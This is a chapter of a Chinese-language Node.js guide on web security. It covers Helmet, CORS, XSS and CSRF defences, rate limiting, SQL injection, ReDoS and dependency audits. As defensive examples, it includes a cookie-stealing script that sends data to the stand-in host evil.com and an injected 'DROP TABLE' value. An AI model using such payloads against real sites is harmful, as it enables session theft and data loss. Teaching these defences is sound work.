强曰为道
与天地相似,故不违。知周乎万物,而道济天下,故不过。旁行而不流,乐天知命,故不忧.
文档目录

Node.js 开发指南 / 第 20 章 · 安全

第 20 章 · 安全

20.1 常见 Web 安全威胁

威胁全称说明防御
XSSCross-Site Scripting注入恶意脚本到网页输出转义、CSP
CSRFCross-Site Request Forgery伪造用户请求CSRF Token、SameSite
SQL 注入SQL Injection注入恶意 SQL参数化查询
CORSCross-Origin Resource Sharing跨域资源共享限制正确配置 CORS
中间人攻击Man-in-the-Middle拦截通信HTTPS
暴力破解Brute Force穷举密码速率限制

20.2 Helmet

npm install helmet
const helmet = require('helmet');

app.use(helmet());

// 或精细配置
app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'", "'unsafe-inline'"],
      styleSrc: ["'self'", "'unsafe-inline'"],
      imgSrc: ["'self'", 'data:', 'https:'],
      connectSrc: ["'self'", 'https://api.example.com'],
    },
  },
  crossOriginEmbedderPolicy: false, // 如果需要加载外部资源
}));

Helmet 设置的安全头部

头部作用
Content-Security-Policy防止 XSS、数据注入
X-Content-Type-Options防止 MIME 嗅探
X-Frame-Options防止点击劫持
Strict-Transport-Security强制 HTTPS
X-XSS-ProtectionXSS 过滤(旧浏览器)
Referrer-Policy控制 Referer 头
Permissions-Policy控制浏览器功能

20.3 CORS

npm install cors
const cors = require('cors');

// 基本使用(允许所有来源 — 仅开发环境)
app.use(cors());

// 生产环境配置
const corsOptions = {
  origin: (origin, callback) => {
    const allowedOrigins = [
      'https://example.com',
      'https://admin.example.com',
    ];
    if (!origin || allowedOrigins.includes(origin)) {
      callback(null, true);
    } else {
      callback(new Error('CORS 策略不允许此来源'));
    }
  },
  methods: ['GET', 'POST', 'PUT', 'PATCH', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization'],
  exposedHeaders: ['X-Total-Count', 'X-Request-Id'],
  credentials: true,  // 允许 Cookie
  maxAge: 86400,      // 预检请求缓存 24 小时
};

app.use(cors(corsOptions));

CORS 预检请求

浏览器 → OPTIONS /api/users → 服务器
浏览器 ← Access-Control-Allow-Origin ← 服务器
浏览器 → POST /api/users → 服务器

20.4 XSS 防护

// XSS 示例:用户输入被当作 HTML 执行
// 用户输入:<script>document.location='https://evil.com/?cookie='+document.cookie</script>
// 如果直接渲染到页面,会窃取 Cookie

// 防护 1:输出转义
function escapeHtml(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;');
}

// 防护 2:使用 helmet CSP 头
// 防护 3:使用模板引擎的自动转义(EJS 默认转义)
// 防护 4:Cookie 设置 httpOnly
res.cookie('session', token, {
  httpOnly: true,    // JavaScript 无法访问
  secure: true,      // 仅 HTTPS
  sameSite: 'strict', // 不随跨站请求发送
  maxAge: 86400000,
});

20.5 CSRF 防护

npm install csurf
// CSRF Token 方式
const csrf = require('csurf');
const csrfProtection = csrf({ cookie: { httpOnly: true, sameSite: 'strict' } });

app.get('/form', csrfProtection, (req, res) => {
  res.render('form', { csrfToken: req.csrfToken() });
});

app.post('/transfer', csrfProtection, (req, res) => {
  // Token 验证通过才会执行到这里
  res.send('转账成功');
});

// SameSite Cookie 方式(更简单)
res.cookie('session', token, {
  sameSite: 'strict', // 跨站请求不会携带此 Cookie
});

20.6 速率限制

npm install express-rate-limit rate-limit-redis
const rateLimit = require('express-rate-limit');

// 基本限速
const limiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 分钟
  max: 100,                  // 每个 IP 最多 100 次请求
  standardHeaders: true,
  legacyHeaders: false,
  message: { error: '请求过于频繁,请稍后再试' },
});

app.use('/api/', limiter);

// 登录接口更严格的限制
const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,
  max: 5,
  message: { error: '登录尝试次数过多,请 15 分钟后重试' },
  skipSuccessfulRequests: true, // 成功的请求不计入
});

app.use('/api/login', loginLimiter);

// Redis 存储(多实例部署)
const RedisStore = require('rate-limit-redis');
const { createClient } = require('redis');

const redisClient = createClient();
redisClient.connect();

const redisLimiter = rateLimit({
  store: new RedisStore({ sendCommand: (...args) => redisClient.sendCommand(args) }),
  windowMs: 60 * 1000,
  max: 60,
});

20.7 SQL 注入防护

// ❌ 危险:字符串拼接
const query = `SELECT * FROM users WHERE id = ${userId}`;
// userId = "1; DROP TABLE users;"

// ✅ 安全:参数化查询
const [rows] = await pool.execute('SELECT * FROM users WHERE id = ?', [userId]);

// ✅ 使用 ORM(自动参数化)
const user = await prisma.user.findUnique({ where: { id: userId } });

20.8 请求体安全

// 限制请求体大小
app.use(express.json({ limit: '1mb' }));

// 防止 ReDoS(正则表达式拒绝服务)
// ❌ 危险的正则
const badRegex = /^(a+)+$/;
// badRegex.test('aaaaaaaaaaaaaaaaaaaac'); // 灾难性回溯

// ✅ 使用安全的正则或限制输入长度
app.use((req, res, next) => {
  const body = JSON.stringify(req.body);
  if (body && body.length > 1000000) { // 1MB
    return res.status(413).json({ error: '请求体过大' });
  }
  next();
});

20.9 依赖安全审计

# npm 内置审计
npm audit
npm audit fix

# 强制修复
npm audit fix --force

# 检查过期依赖
npm outdated

20.10 安全检查清单

// security-checklist.js
module.exports = {
  headers: {
    'X-Content-Type-Options': 'nosniff',
    'X-Frame-Options': 'DENY',
    'X-XSS-Protection': '1; mode=block',
    'Strict-Transport-Security': 'max-age=31536000; includeSubDomains',
    'Referrer-Policy': 'strict-origin-when-cross-origin',
    'Permissions-Policy': 'camera=(), microphone=(), geolocation=()',
  },
  cookies: {
    httpOnly: true,
    secure: process.env.NODE_ENV === 'production',
    sameSite: 'strict',
    maxAge: 24 * 60 * 60 * 1000,
  },
};

注意事项

⚠️ 不要信任任何客户端输入:所有请求参数、头部、Cookie 都需要验证。

⚠️ HTTPS 是必须的:生产环境必须使用 HTTPS,否则所有安全措施都可能失效。

⚠️ 安全头部是纵深防御:不要依赖单一措施,多层防护才能有效。

⚠️ 定期更新依赖:使用 npm audit 检查已知漏洞。

业务场景

  1. 公开 API:速率限制 + API Key + CORS
  2. 用户登录:限制尝试次数 + CSRF Token + HttpOnly Cookie
  3. 文件上传:类型检查 + 大小限制 + 病毒扫描
  4. 支付接口:HTTPS + 签名验证 + 审计日志

扩展阅读


上一章第 19 章 · 错误处理 下一章第 21 章 · 性能优化 — Cluster、Worker Threads、内存分析和 CPU Profile。